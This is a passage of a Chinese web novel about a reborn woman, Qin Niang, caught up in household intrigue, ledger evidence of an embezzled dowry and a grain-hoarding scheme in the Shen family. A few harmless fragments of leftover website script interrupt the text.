“我这老婆子,穿这种料子也是浪费。”她望着自己这能说会道又嘴甜的儿媳妇,将布料放在她身上比划了下。 姜氏忙道:“怎么能说是浪费,娘这通身气派,是人衬衣裳,不是衣裳衬人。” 一旁几个丫鬟拿尺子量了量,道:“这布料只够做一身衣裳的。” “怎么只够做一身?”沈老夫人语气埋怨。 她这孙儿,从京城来不知道多带点好东西。 姜氏替他说话:“想必是这料子太过珍贵,外头卖着可不便宜,普通人家别说一年,就是十年的收成也买不起。” 沈老夫人这才脸色转好:“你倒是惯会替他说话。这料子你拿去做身衣裳吧。” “这……”姜氏假意推脱,“这不好吧,二嫂那儿……” 沈老夫人一向疼爱老三,连带他这娘子也十分看得上眼。 “你尽管拿去穿。”她摆摆手,道,“若是你那二嫂来问,自有我老婆子顶着。” 姜氏欢天喜地收下。 16. 第十六章 夜深了,秦娘合衣躺下。 室内烛火噼啪响了几下,里屋翻身的声音传来,她便起身将烛火灭了。 近日这种惯常,她已熟练。 这睡榻睡着并不安稳,迷迷糊糊间,她仿佛听到爹娘在喊她,声音又十分遥远。 忽又转了画面,回到了上一世她临终前,她躺在床上,面前秦馠阴恻恻的望着自己,一杯毒酒已到了嘴边。 秦娘想大声呼救,却发现自己动弹不得。 “阿瑶。”一道清冷的声音在耳畔响起。 如同清泉般凌冽甘甜,缓缓流入,困住的身体逐渐苏醒。 她猛地睁开眼睛,想坐起来,却发现半边身子已经麻了。 身边趴着个人影,耳畔清楚感受到了他温热的呼吸。 “阿瑶。”陈衡又唤了一声。 秦娘才发现自己梦魇了。 她僵硬的转过头,对上他关切的目光。 显然陈衡也是被她吵醒,一头青丝垂在胸前,一双眼睛通红,正皱眉盯着她。 秦娘愣了愣,忙别过头去。 “打扰到公子了。”她轻声道。 “嘘。”陈衡突然嘘声,“隔墙有耳,阿瑶当时刻谨记,称我夫君。” 秦娘心中顿时警铃大作,半僵着身子,更不敢动了。 陈衡起身,将她缓缓扶了起来:“今夜去里间歇息。” 秦娘刚舒展起来的身体又僵了一僵,还好夜色深沉,自己脸上的羞红能被黑暗遮掩。 她咬着唇,坚决道:“不去。” 身边的人明显愣了一下。 下一刻她便腾空而起,冰凉的身体投入一个温暖的怀抱。 直到被放到温软的大床上后,陈衡转身毫不留情的出了房门,她才捂着脸为自己适才的乱想感到羞愧不已。 原来对方只是可怜她在那小小的榻上睡不好觉。 一夜熬到天亮。 待到吴氏差人来请,她才起了身。 娇娇还在睡着,迎春带着小丫鬟们前来服侍,秦娘壮着胆子问:“你们公子呢?” 迎春给她梳头:“公子已经用了早膳出门去了。听说这几日新接手的粮铺有些棘手。” 这是自然了,沈家失了这么个赚钱的根基,说什么也不会轻易让人。 不过秦娘一点也不担心,在他那儿什么事都不成问题。 想到这儿她又老脸一红,不禁感慨,上辈子活成个老婆子都没招惹过一个男人,这辈子倒差点没招架住。 就这样乱七八糟的想着,不知不觉已到了正厅。 几十个新家丁正整整齐齐的站成两排,看上去颇精神。 吴氏早着人抬了两把椅子,放在屋檐下。 “来了。”她放下手中茶盏,神情淡淡,指了指身旁的位置,“坐。” 秦娘一笑,见了礼后径直走到她身后:“婶婶莫怪,今日我是您的学生,还是站您身后妥当。” 吴氏瞥了她一眼,露出满意之色。 不得不说,她这对侄子侄媳虽别有目的,相处起来却十分讨喜。 秦娘听她把护院各安排好院子后,便完事了。 吴氏正要话别,叫她赶紧回去,自己好去做那真正的活计,不巧姜氏就来了。 姜氏自然是故意的。 她一别平日里的张狂,堆着满脸讨好的笑容打趣道:“好姐姐,听说你屋里有个针线活麻利的丫头,可否借来用用?” “做什么?”吴氏见她好不容易有求于己,摆起了架子,“我那屋里的活还做不完呢,你借去何用?给你家三爷缝补臭袜子吗?” 此话一出惹得在场下人们捂嘴偷笑。 姜氏也不气恼,央求道:“二嫂你就借我吧,我身边实在没有裁衣裳的好手。” “你要做衣裳?”吴氏神色一凛。 莫不是那祥云纱已到了她手里?怎么婆婆也不叫自己去取一匹来。 姜氏神秘兮兮:“你把那巧手丫头借我,过几日做好我就穿出来给你看。” 吴氏也不想放过这个打探消息的机会,忙叫了身边丫鬟,去二房院子叫会做衣裳的丫头婆子都过来。 姜氏见到秦娘,拉过她的手闲聊:“好孩子,跟着你婶娘学了半日,如何?” “二婶娘一应安排十分详尽,不愧是管家的好手。”回答的滴水不漏。 姜氏笑道:“恐怕她连管事的十分之一本事都没露出来呢!你接下来可要跟着她好好学学。” “哦?”秦娘故作惊讶,“这些家丁已经安排妥当了,接下来还要去做些什么?” 吴氏心中直将姜氏骂了个狗血淋头。 面上却只得扯出一丝笑容:“我倒忙忘了,今日是管账的日子,多亏了妹妹提醒。” 姜氏道:“当初我也跟着你二婶学了些日子,可我一见那算盘就头晕,账簿上的字也看得头疼,后来索性不学了,将这管家的事全推到你二婶身上,难为她这些年操劳。” 在场人都听出了这话里有话。 当初姜氏刚嫁进来,要跟吴氏抢权,假意跟着学了几个月的管家看账,硬是没抢过来。 对此她颇有怨言,这档口正提醒秦娘,别被吴氏糊弄过去。 吴氏冷哼一声:“你也知道我操劳?当初你倒是得了个清闲,难为我这天天往公中贴银子。” “哎!”姜氏讥笑道,“这人算不如天算……老话说得好,吃亏是福!” 吴氏的脸再一次沉了沉。 幸得那几个做衣裳的丫鬟婆子来得及时,姜氏结束了阴阳怪气的闲聊,带着一行人回去了。 吴氏也没叫秦娘一声,自顾自地带着下人们到账房去。 秦娘厚着脸皮跟着她。 账房就设在沈老夫人的住处旁边,隔了一条路。 吴氏每次来,都会经过老夫人院子门口。 里头的下人们见了,便会回了老夫人,老夫人再派个得力丫鬟帮衬吴氏。 说是帮衬,明眼人心里都清楚,那是监看。 尤其此次有秦娘跟着,沈老夫人更是不放心,很快便派了心腹前来。 到了账房,还未进门,吴氏就问秦娘:“阿瑶可识字?” 秦娘摇头。 自古女子无才便是德,吴氏冷笑。 不识字最好,看不懂账簿,也就折腾不出什么水花来。 秦娘当然识得 () { $(''.inform'').remove(); $(''#content'').append('' ,她跟陈衡学了半月的字,虽不会写,却也认得。 账房内摆了几个书架子,上面堆满了账薄,地上放了好几个大箱子,不知道里边是什么东西。 吴氏命人拿了上个月的账,随手翻着看。 “娘子这个月又得往里贴银子。”吴氏的近身丫鬟撅着嘴,替她打抱不平,“新买那几个家丁就得花多少钱!” 吴氏叹了口气,命人赶紧把这笔账记上。 “你也瞧见了,如今这宅子里,是入不敷出。”她转头对秦娘说道,“你们所求的那点东西,早被糟蹋的一干二净了!” 她说这话也不避开沈老夫人派来的人,也难怪老夫人向来不怎么喜欢她。 秦娘假装惊讶,凑近她悄声道:“府中已如此困难,三房那儿每日吃穿却和老夫人那儿一样,难不成三叔有什么生钱的法子?” “他哪有什么生钱法子。”吴氏不屑道。 不过这倒是提醒了她,既然三房有钱,何不让他们出出血,将这个月的亏空补上。 她换上一副笑脸:“不知阿瑶是不是听到了些什么?” 秦娘低下头,摩挲衣角:“我也不知该不该说。” 吴氏一摆手,吩咐众人退出去。 “有什么不敢说的,你只管告诉我,这事我保证不外传。” 秦娘只得道:“我听说,三叔又要再抬一房小妾进门。” 吴氏愣了愣,随即拍手大笑:“叫那贱人适才还对我指桑骂槐的,原来是后院失火她正气恼!” 随即她又忙捂上笑得合不拢的嘴,斜眼看着秦娘。 “失态了,刚才的话你就当没听到。” 秦娘应下。 吴氏此刻十分得意:“你三叔既然有钱养小妾,就该出点闲钱来养家!若不是你祖母偏心……” 她闭了嘴,瞧了一眼门外老夫人派来的人,又暗暗想,这次姜氏还得感谢自己,替她回绝了一房妾室。 真是便宜姜氏了! 吴氏留了秦娘和下人们在账房继续看账,自己则带了个丫鬟,去了老夫人院子。 秦娘随意翻着书架子上的账簿,时而拿倒了两本,引得下人们发笑。 之后她便称自己看不得这些字,躲在了角落里,悄悄翻起往年的旧账。 可惜账房每年清理一回,多年前的早已不记录在案。 不过陈衡手里有一份当年他娘的嫁妆单子,秦娘看了记下了些许首饰物件,她便在这些账册里寻找蛛丝马迹。 果然,往年的账册里有清晰记录,沈家当掉了一对象牙扳指、一串珊瑚朝珠、白玉鸳鸯扣等等,不计其数。 秦娘越看越气,悄声将账簿那几页撕掉,塞进怀里,谎称头疼走了。 她隐隐记得上一世衙门曾审过一桩案子,正是城里哪个大户私吞媳妇嫁妆案。 可惜最后罪证不足,案子不了了之。 若拿这几页纸和陈氏的嫁妆单子去告官,沈家私吞媳妇嫁妆就坐实了。 想到这儿,她更加快脚步。 路过沈老夫人院子时,里边传来叫骂声。 “我怎么养了这么个败家的儿子!去,快去外头把你们三爷叫回来!” 17. 第十七章 沈言礼正在烟花柳巷处流连忘返,被家里派人来唤,满是牢骚。 到了家却见正厅一屋子的人,沈老夫人和他二哥都在,顿感大事不妙。 目光扫了一圈,姜氏却不在其中,心底更为惶恐。 “娘,二哥,何事让大家如此大动干戈?”他小心翼翼的朝沈老夫人和沈言庆执手,问道。 下座的沈言庆脸上一黑,没理会他。 就连他身边的吴氏,也低头不语。 沈老夫人端坐于上座,脸上已掩饰不住的怒气。 “听下人们说,他们是在烟花柳巷之地找到你的?”老夫人微微垂目。 沈言礼闻言瞪了几眼在场的下人,才忙回道:“娘实在冤枉儿了!儿是去谈生意!” “混账!”沈老夫人怒骂了一句,吓得众人大气不敢出。 沈言庆对他也颇有怨气,趁此机会道:“我让你好好跟着我打理生意,你倒好,早上跟着我出门去两个铺子,我一转身的工夫就不见你,日日如此,你让我怎么说你的好!” “二哥,我实在不擅长此道。”他辩解,“盘货算账这种事,还不如酒桌上迎来送往来的痛快!” “你还有脸说,上次我让你去请上家小聚,你非但没去,还把粮铺给出去了!”沈言庆摇头叹息,“这就是你擅长的?吃喝嫖赌你数数你还剩哪样没沾惹!” 沈老夫人素日对这幺儿十分疼爱,遇事总睁一只眼闭一只眼,可如今沈府内忧外患,她也无力包庇。 她气急,道:“如今你那侄儿回来要夺家产,你不替你阿兄分忧,还想着再要一房小妾?你能养得起?还不是靠我这老婆子接济!我那几个小孙儿都快被你给饿死了!” 沈言礼对他几个儿子只知道生,不知道养,那几房妾室也是新鲜劲儿一过,便全扔给姜氏。 如今被老夫人劈头盖脸的骂,更是哑口无言。 “我、我不要了,娘,你莫要生气,这妾室我绝不再要了!”他拿袖子擦着额头的冷汗,”哪个天杀的告我的状,让娘这么生气,什么妾室,我就只说说而已。” 他心里恨起了姜氏,一定是这婆娘又因着此事在家里大闹了。 沈老夫人的脸色转好了些:“这还差不多。” 眼见她又要偏心老三,重重拿起轻轻放过,吴氏忙不迭给自己丈夫眼色。 沈言庆又道:“粮铺的事该怎么说?” 整个厅堂寂静无声。 外头偶有乌鸦飞过,呱呱叫了两声,十分应景。 沉默了半晌,沈言礼朝老夫人投去求救的目光。 沈老夫人长叹了一口气,道:“不然老二,此事就作罢,反正粮铺也是落到自家人手里了。” “自家人?”沈言庆立刻反驳,“娘,我们把他当自家人,他可是要把我们吃干抹净!” “那可是大哥的独子!”沈言礼一摆手,破罐子破摔,道,“被他吃干抹净我也认了!” “滚!你个蠢货!”沈言庆也顾不得自身修养,上去揪着弟弟发冠就要捶打,“你认了,你房里多少好东西,都是吃你大哥拿你大嫂的!回头你们自个抱着那些个好东西各过各去了,你让我们沈家怎么办!你让娘怎么办!” 场面顿时乱成一团。 大丫鬟们四处闪躲,小丫头们在角落看着笑话,只剩三四个家丁护院,愣是把两人分不开。 “我的儿!”沈老夫人边嚎哭边跺脚。 待几人终于把兄弟俩分开,两人已是头发散乱,衣衫不整,沈言庆的脸上还被弟弟抓了几道印子。 “成何体统!你们成何体统!” 沈老夫人气的腿脚都利索了,站起来连蹦了两下。 沈言庆脸上一阵疼痛,他忍痛摸了摸,呲牙咧嘴扔下一句话:“这几个月公中亏空你去补上!” “凭、凭什么?”沈言礼不服。 吴氏忙替丈夫辩解:“你二哥的意思是,就当你把粮铺卖了,得了银钱不得添补家里?如此这事就算了了。” 沈言礼张了张嘴,又看了看气头上的老夫人,他自知理亏,只得默默应下。 这厢闹的大,后院姜氏却一无所知。 她正忙着吩咐众人做她的新衣裳,听着三爷回来,忙笑脸相迎。 谁知刚一见着面就被沈言礼狠狠踹了一脚,直接踹翻在地起不来。 “不长眼的东西!”沈言礼骂道。 姜氏泪花在眼中翻滚,愣是没流出来,只忍着疼,哽咽道:“谁又惹爷不高兴了?” 她在外是张狂了些,可对上沈言礼却没什么法子管束,不然也不会看着那一房又一房的妾室抬进家门。 沈言礼看她在自己面前的娇弱样子,又后悔起来,忙叫丫鬟们把姜氏扶起。 就这样坐了半晌,看着众人把姜氏扶上床安排妥当,才心虚开口:“适才和二哥打了一架。” 姜氏刚躺下,听闻这话又惊的胳膊撑着半起了身:“为何?” 沈言礼瞥了她一眼,没好气,道:“不知道哪个嚼舌根的,跑到娘面前告了我一状,说我又要纳妾。” 姜氏心中“咯噔”一下,想起自己曾与陈衡秦娘提过此事。 不过下一刻,她又打消了疑虑。 沈言礼道:“二哥就借此事,又说起粮铺,让我给个说法,闹到最后才知,他不过是想让我出点银子,补公中账上的亏空,哼!我最恨他这一套,什么事不明着说,非得找个由头,把人折腾要死!” 说罢,他将桌上的茶一饮而尽。 姜氏冷笑:“那吴氏今日刚查了账,就出了这事,谁在背后挑拨一看便知!也不知这屋里头哪个丫鬟嘴上把不住门,只怕早被你二哥给收买了!” 听了这话,沈言礼才知错怪姜氏了。 他忙起身到床边:“伤的如何?为夫刚才在气头上,还以为你又去娘那里闹了……” 姜氏顿时委屈起来,之前没流出来的泪,此刻如断了线的珠子流不停:“你让人算计了去,我心里也难受,身上的伤又算得了什么……还是想想该怎么办吧……” 沈言礼自然不认栽。 叫他往外出银子,那是要了他的命。 “夫人莫难受。”他安慰道,“不就是银子吗?我再去娘那儿拿些。” * 前厅发生的事,很快就有人递了消息给秦娘。 娇娇也听了一耳朵,她已大概明白娘在做什么。 只是她还是希望有一个真正的爹疼爱自己。 “娘,你瞧,我画的好吗?”她放下笔,将一幅画呈在秦娘面前。 画上是一只虎和一只猫。 众人见了称奇,这小姑娘竟然画得惟妙惟肖。 秦娘高兴道:“为什么把虎和猫画在一起?” “这只虎是爹,这只猫是娘。”她指着画答道。 这话惹得大家大笑。 “好啊,原来在你心目中,你娘就只是猫,是不是下一刻我就被这只老虎吃掉了?”秦娘作势站起来要抓她。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >娇娇忙四处逃窜,没来得及看,一下撞到了刚踏进院子的小厮。 原来是陈衡在外忙碌,派小厮来告知不能回来用饭。 “是外头的事不顺利?”秦娘问。 小厮点头:“粮铺倒是收了回来,只是……今年粮食欠收,沈家原收了客人定金,如今交不出粮,着实难办。” 粮食欠收? 她常年在乡郊村中,收成如何最清楚不过。 就是上一世的后来也年年风调雨顺,并无粮食欠收一说。 她略思索了一番,带着娇娇出了门。 江城的粮铺不止沈记,想必陈衡已派人到别的粮铺借买过,如今此事还未了,只能是无人肯卖。 果然,秦娘上街转了一圈,所有的粮铺都挂着“告罄”。 这还引起了人们的恐慌,大家纷纷猜测,粮价未来会不会上调。 秦娘进了一家“江记米铺”问了掌柜,掌柜只说明日就有。 周围有人道:“昨日就是这样说的,前日也是这样说的,都三天了,有人家里已断了粮了!” 看来这些粮铺也怕闹大,官府来查,故不敢关门,只得拖延几日。 “敢问掌柜,这年岁风调雨顺的,我老家庄稼长势喜人,城里为何无粮可卖?”秦娘故意嗓门大了些。 周围人一听,全都围了过来。 “是啊,没听说哪里粮食欠收。” “这是卡在哪个节骨眼上了,不会是有人贪墨吧?” 秦娘适时说道:“是何缘故,不如大家一同去官府问问。” 掌柜终于看出她是做什么来了,忙招了招手:“请这位夫人进来说话。” 秦娘带着娇娇走了进去,隐隐瞥见后窗外头摆着一排一人高的筐子,应该就是储存的稻米。 掌柜的打量了眼前两人,思量着不敢得罪,于是悄声问:“夫人是想买些大米还是小米?我这儿存货不多,也够夫人应急。” 秦娘问:“既有,为何不对外售卖?” 掌柜的叹了口气:“这城里卖粮的,哪家不是在这江城根深蒂固,谁知近日那沈家的铺子易了主,听沈家老爷说,那新当家的还要搞什么薄利多销,为的就是打压粮价,吞并我们这些商户。这是不给我们活路!” “你就不怕这几日无粮可卖,官府来查?”她问。 掌柜的指了指天:“他沈家沈二爷作保,我们只要撑过这几日,搞垮那新东家,就收手!” 秦娘冷笑:“你就不怕我得知了缘由,去告诉了那新东家?” “那又如何?就算他知道了,也无能为力!”掌柜的眼珠子转了转,又看了看两人,觉得一妇人带着孩童,实不像替那新店打探消息之人。 不过这种人家又怎会夫人亲自出来买粮? 他一时琢磨不准。 不会是官家的夫人,上街来体察民情的吧? “您到底买不买?”他压低声音,小心问道。 秦娘掏出碎银:“买,自然是买。” 掌柜的忙叫伙计去后方粮仓,给秦娘装了一小袋子。 他心想自己猜的不错,这些大户向来都是粮铺亲自把货物送到府上,哪家夫人亲自来买粮,还只买这么一点。 幸好刚才没得罪了她。 秦娘接过粮食,随手抱起娇娇,出了店门便将那一袋粮食往空中一抛。 大米如雨点般洒落。 “这家店有粮!”她大喊一声。 既然如此,就把事情闹大! 18. 第十八章 江记米铺一片混乱,接连着城中其他人也听到了消息。 秦娘带着娇娇走在路上,不时见有人飞奔前去抢粮。 官府应很快就会到了。 娇娇虽跟着没说什么话,看她一副沉思的模样,这个年纪虽小,却已开始想明白许多事情。 片刻,她问道:“如此,就帮爹爹解决大问题了?” 秦娘笑了笑:“娘并无十足把握,不过我们在乡野生活久了,你想想自小你见过的事,只靠一味退让是没有好结果的。” 底层的倾轧,时时刻刻发生着。 “把事情闹大,才能得些不常有的好处。”她无奈,想着娇娇若回了侯府,那些贵人是最要面子的,应该会比这乡野市井好很多吧! 娇娇一点就参透:“我知道,娘,这叫‘会哭的孩儿有奶吃’。” “对,没错!” 两人笑着,经过了一处不起眼的小乐馆。 里边断断续续传来琴音,磕磕绊绊,让人不由好奇往里张望。 秦娘瞥了一眼,见一青衣男子正在教导弹奏的学生,正是商徵和秦馠。 这么快她就从牢里出来了。 娇娇久未见到秦馠,孩童家一时高兴忘了之前种种,她欢喜的冲了进去。 “大姐!原来你在这里!” 秦馠停了手,脸色一沉:“你们来做什么?” 商徵与秦娘见了礼,请她进来小坐。 秦娘这才看清,秦馠的十指已暗暗渗出血迹,想必她此时十分刻苦努力。 “你们是故意来看我笑话的?”秦馠阴沉着脸,十分不悦的将琴收了。 娇娇气鼓鼓道:“我们是路过!” 秦馠还欲说什么,被商徵摆手作罢。 商徵请人上茶,道:“在下还未感谢夫人,夫人料的不错……如今小徒已从牢狱脱罪。” 秦娘知道,秦馠果然差点替那沈鱼顶了罪。 看她如今闭口不提的样子,估摸着是终于看透了那人,心如死灰。 若能在此安心修习,也算是将前尘往事告一段落了。 秦娘向商徵拜了一拜:“是我该向您道谢。” “呵。”秦馠不屑,“用不着在这儿假惺惺。” 知她不愿再提,秦娘和商徵便默契转了话头。 “这琵琶可还难?”她闲话道,“我瞧大家都要练好几个年头,才能奏成名曲。” 商徵望着那几把跟随他多年的琵琶,目光里流露出温柔:“我练了十年,才在京中成一小角。” 十年,人生有多少个十年。 然而秦馠选择与上一世截然不同的路,并不后悔,她仰起高高的头颅:“我可等不起十年。” 商徵亮起的眸色又暗了下去,拂袖道:“小徒莫要张狂,你虽比为师更加勤奋,可这行颇为讲究天分,若祖师爷不愿赏饭,就是练上二十年也不得成就。” “我自然不同于他人!”秦馠仗着自己先知,并不将良言放在心上。 一时气氛微凝。 室内忽然铮铮作响,原来是娇娇好奇,抚了几下琴弦。 她学着秦馠的样子,用指甲拨弦,一连串的琴音如同流水般倾泻而出。 秦馠大惊,忙抢过琴去,急道:“这琵琶是贵重物件,仔细别摔了!” 娇娇撇了撇嘴:“就只是摸一下而已,真小气!” 商徵却饶有兴致:“这位小友倒算是有天分之人,头一次摸琴就能将上品的音色奏出,不妨伸手让我看看?” 娇娇被夸赞,十分欣喜,忙将自己的双手亮出在他面前。 一双手绵绵,十指如葱,特别是小指竟快要和第四指齐长。 商徵大喜,眼眸发亮:“这是天生学琴的一双手!在下常年寻找末指特别的徒弟继承在下一身琴技,不曾想寻了这几十年,真让我碰上了!” 他伸出自己手,那末指果然同娇娇的一样。 见秦娘不解,他又拿起自己的琵琶,左手抱琴按弦,右手轮指。 “若是左手末指太短,若需换弦过远,毫厘分寸便慢了,弹奏快曲更跟不上,右手末指短则轮指也会慢些。”他耐心讲解道,“此短处虽可通过后天勤能补拙,终是比天赋之人晚出头许多年。” 听闻此话,只见秦馠将自己的手往身后藏了藏。 可秦娘却不想再让娇娇学琵琶。 君子六艺,高门大户的公子小姐,学琴是为陶冶情操,修身养性,所以多选七弦瑶琴。 她见角落里摆着一张瑶琴,便问:“可否习七弦琴?” 秦馠心中一阵慌张,面上却冷笑道:“要学你们到别处去!我师父是琵琶名手,你们要跟他学七弦,岂不是折辱他!” 谁料商徵却摆了摆手:“自古弦乐相通,七弦在下同样精通。” 秦娘低头问娇娇:“你意下如何?” 娇娇面露欣喜,来到琴馆的那一刻,她就有一种奇怪的感觉,仿佛对那些琴十分熟悉。 “娘,我自然愿意,只是……”她看了看秦馠,心中有所顾虑。 秦馠却把琴一摔,沉重的木料砸到地板上,“咚”的一声,一根弦应声而断。 她不愿意。 娇娇吓了一跳,躲在秦娘身后,摆着手道:“不学了,我不学了。” 商徵脸色阴沉:“琴师爱琴,更不应摔琴,它是将来伴你一生之物!” 在秦娘看来,这商徵脾气也算是顶好。 若是那些恃才傲物之人,恐早清理门户,将这种徒儿赶出去了。 这师父教起徒弟来,想必十分有耐心。 她当即决定选商徵教授娇娇琴艺。 “娇娇若是真心喜爱,何必管别人心思!”她将娇娇从身后拉出来,“快给师父磕头!” “你们!”秦馠咬牙,低声道,“若你们在此学艺,我自请离开!” 秦娘微微一笑,似讥似讽道:“先生,日后若遇休沐便会有马车专程来接先生入府,为小女传道授艺。” 娇娇朝秦馠吐了吐舌头,大声道:“你大可放心,我们不来这里叨扰你!” 商徵收了徒,娇娇拜了师,所有人都很高兴。 秦馠默默俯身,抱起了她的琴,转身走入后院。 院子里阳光刺眼,一只燕子飞过,在天空划下一道痕迹,让人一阵恍惚,仿佛这是一场梦而已。 * 归家已是傍晚,微风徐徐,十分凉爽。 还未等陈衡回来,秦娘先迎来了姜氏。 见她被几个丫鬟扶着,缓慢前行,秦娘忙迎上前,问:“婶婶这是为何?伤到哪儿了?” 姜氏此时打扮完全不像之前满头珠玉,她素净的发髻只簪了一只玉簪,整个人面色苍白 () { $(''.inform'').remove(); $(''#content'').append('' 。 一见到秦娘,她便气喘吁吁,道:“别提了,今儿你那好三叔被二房算计,回来一脚把我踹倒在地……好几个时辰了我都直不起腰来。” “为何?”秦娘假意吃惊,“三叔怎么发这么大的火?” 她忙扶了姜氏进了屋子,让迎春将木椅垫了软垫,扶姜氏坐下。 “唉!”姜氏摇头叹息,“也怪我,没管好房里的人,不知谁在外嚼了舌根,去老夫人那儿把你三叔那点子破事给说了出去!” 秦娘登时明白,她是来套话来了。 她笑呵呵装傻,道:“三叔那点事人尽皆知,有什么值得告状的。” 姜氏瞥了她一眼,挑明道:“还不是他另要一房小妾的事!” “侄媳正要找婶娘说呢!”她言笑晏晏,“此事我和夫君已想到了应对之法。” 姜氏嗤笑:“如今还要这法子有何用?你三叔是没钱再娶了!那老二家趁此事讹了我们一笔,你三叔正怄气呢!” “婶娘莫慌。”秦娘将丫鬟上的茶奉了上去。 茶香四溢,沁入心脾。 姜氏闻了一下,霎时神清气爽,不由深吸了一口,道:“茶倒是好茶。” “是京里的好东西。”秦娘坐下,也浅尝了一口,话锋一转道,“好东西,自然人人都想要,如今那二叔二婶当家,他们所求婶娘岂会不知?” 姜氏抬起眼眸,瞥了她一眼:“他们要什么,我自然知道。” “可今日他们不止是想了,甚至都把手伸到你们房里了。”秦娘放下茶盏,细细说道,“二叔把控着外头银钱收入,二婶又管着宅中,三叔若不是靠着老夫人那点积蓄,恐怕总有一天会被二房掏干抹净。” 姜氏静静听着,手不自觉的攥紧。 秦娘又道:“三叔那几房小妾也要花不少银子养,庶子们又多,现如今年纪小还好,等再大点吃穿用学哪一项不花银子?这两方都在扒你的皮喝你的血,若不想法子解决,婶娘手里的那些又能留多久?” 姜氏略沉吟。 她嫁过来这么久又无孩儿,自己花钱的地方倒也不多,平日里又看得紧,逼得她那夫君天天从老夫人那儿要银子贴补,所以攒下了不少。 一想到这些值钱的物件日后都要被别人花了,更是心疼不已。 “是了,正是这个理。”她转了态,又露出笑容,轻轻抚上秦娘放在茶桌上的手,问道,“我躺床上想了半日,头疼的很,这不就来找你商量了。” 秦娘试探道:“婶娘就没想过,和二叔他们分开过?如此他们是他们,你们是你们,他更打不着你们的主意。” “这……”姜氏心里犹豫。 她曾也想过,可一分了家,自己那靠不住的夫君又如何能撑起生意? 指不定没过个两年就赔光,或是被外头的狐媚们骗了去。 秦娘看出了她的犹豫:“我听闻婶婶是江城治下知县大人的嫡女?若婶婶出面对家中这些铺子照看一二,这江城怕是无人敢为难?” 姜氏的眼睛亮了亮,这世道也不是没有女子经商的。 “若分了家,也可与老夫人同住,看似赡养对外博得个孝名,对内……老夫人也可帮衬一二,这百年后,她的不都是三叔三婶的?”秦娘又道。 姜氏已十分心动,她若掌了里外银钱往来,就是收拾几房小妾也绰绰有余。 19. 第十九章 这夜,陈衡久久不归。 秦娘将娇娇哄睡,自己却不敢先歇下,便坐在正屋椅子上等。 更深露重,她连打了几个哈欠,眼看着眼皮快要支撑不住,身子也往椅子下滑,院子里才有了动静。 她赶忙起身,却见陈衡一身玄衣融在夜色中,一张俊美的脸上带着寒霜,疾步走了进来,身后跟着的仆从们也风尘仆仆,一脸倦意。 看来此刻他心情不佳。 秦娘低头立在那里,不敢出声。 “今日你出了门?”他问。 秦娘不敢隐瞒,将今日宅中发生的事、街上发生的事细细说了一遍。 听到江记米铺的事,陈衡的神情越来越阴沉。 “前日才夸你有分寸。”他不悦道,“旁的事都做的不错,只是惊动了官府。” 秦娘并不知他在外到底办什么大事,听这语气,似乎十分不想让官府插手此事。 她忙跪拜:“公子息怒,此次是我……自作主张了。” 陈衡垂眸看着她,目光里却无任何情绪,让人猜不出他在想什么。 半晌,他才沉沉问道:“我记得,阿瑶你会卜卦?” 秦娘小心道:“雕虫小技而已。” 陈衡转身负手,抬头看了眼窗外月光。 像是思索了良久,他突然道:“你的那块地,当初是谁收走的?后来为何又成了王田?” “张家。”秦娘见他提到田产之事,心中疑惑,直觉这背后有什么大事,“张家当初收了不少地,后来应该是献给了朝廷。” “为何?”陈衡又转过身,低头看着她问。 秦娘摇了摇头,这中间发生了何事她也不知,上一世她是个不足挂齿的小人物,接触不到这种事。 “初见时,你说你擅卜。”他紧追不舍,“何不卜上一卦,看看其中缘由。” 秦娘在脑海中快速回想着和上一世有关的蛛丝马迹,忽然想到一件小事。 上一世的几年之后,她好像听邻里说朝廷加了重税,他们商量着要跟着张大户一起拒交。 只是后来不知怎么地,这事没了后续。 可是明明上一世地一直在张大户手里,并没有被献给朝廷。 “公子是要查这件事?”她小心翼翼道,“乡郊那一片田产,多半应还在张家手里。” 一时之间无数猜测在陈衡心间涌起。 “我很好奇。”他问道,“为何你们心甘情愿,把地给了这些豪强士族?” 秦娘苦笑。 “朝廷每年赋税加重,农户们一年下来种出的粮,还不够上缴的,家家户户连口余粮都留不下。”说到此,她渐渐心有怒气,“我一介女户,尚能在城里做些散工,那些农户呢?也就是近些年都是丰年,还能换口吃食,遇上欠年,小儿都得饿死。” 她的爹娘都是饿死的。 “所以给了这些豪强,就有吃的?”陈衡语气中带有一丝讽刺。 秦娘站了起来,道:“是,张家不用缴那么多税,偶有年岁遇上朝廷恩典他还能免税!我们种了地留够一年家人吃的口粮,剩下的给这些豪强,总比饿死好!” 陈衡听闻此话,闭了闭眼,长叹一声。 难怪这些农户会心甘情愿把地送出,地方豪强兼并土地不断。 朝廷税收因这些士族豪强免税而逐年减少,只得年年加重,恶性循环。 他拂袖离去,未跨过门槛时停了一停,道:“你,很好。” * 娇娇结束休沐去了绣坊,几日下来沈宅中已是暗潮涌动。 这日,吴氏遣人来找秦娘,竟是要带她一起管家。 秦娘赶着去了,在院子里看了半日她调兵遣将,分派妥当后,终于将话头转向了她要说的。 吴氏走进正堂,随便挑了个座位坐下,让小丫鬟站在身后给她按肩捶背。 她舒服的闭上眼睛,又瞥了一眼规矩立在一旁的秦娘,闭眼道:“这几日跟前侍候的人被你三婶借去了不少,我还心想她做什么衣裳要这么多人,今日一大早便听下人们说,她用了你送的那块布料。” 秦娘假装惶恐,回道:“幸得婶婶们喜爱,可惜这料子贵重,夫君原是想给老夫人用,忽略了两位婶娘,望婶娘们体谅晚辈不周全。” “你年纪还小,做事不周全情有可原。”吴氏睁开了眼睛,“唉,可那老的做事不周全,就不好了!” “二婶慎言。”秦娘忙道。 “啪——”吴氏拍案而起,身后小丫鬟吓的猛退了两步。 她盯着秦娘,道:“你远道虽不是客,也是老夫人的嫡长孙媳,你送了礼,她不给你回礼便罢了,还把那么贵重的料子全给了老三家!” 秦娘低头不语。 “你呀,你就是个闷葫芦不说话的,咱们两个加起来,都不如她姜氏会哄老夫人开心!”她见秦娘不语,更耐不住性子,“我呢?我替她这老婆子操劳这么多年,有了好东西她却不想着我,偏想着那光会耍嘴皮子的人!” “夫人。”吴氏身边的大丫鬟慌忙提醒道,“小心别被人听去。” 吴氏更不在乎:“听去就听去!我敢说就不怕别人编排!老夫人偏心,全府上下只有瞎了眼的才看不出来!” 此时不是接话的好时机,秦娘只低头站在一旁,默默听着。 吴氏想挑什么事,她乐见其成,可绝不能带上她一起。 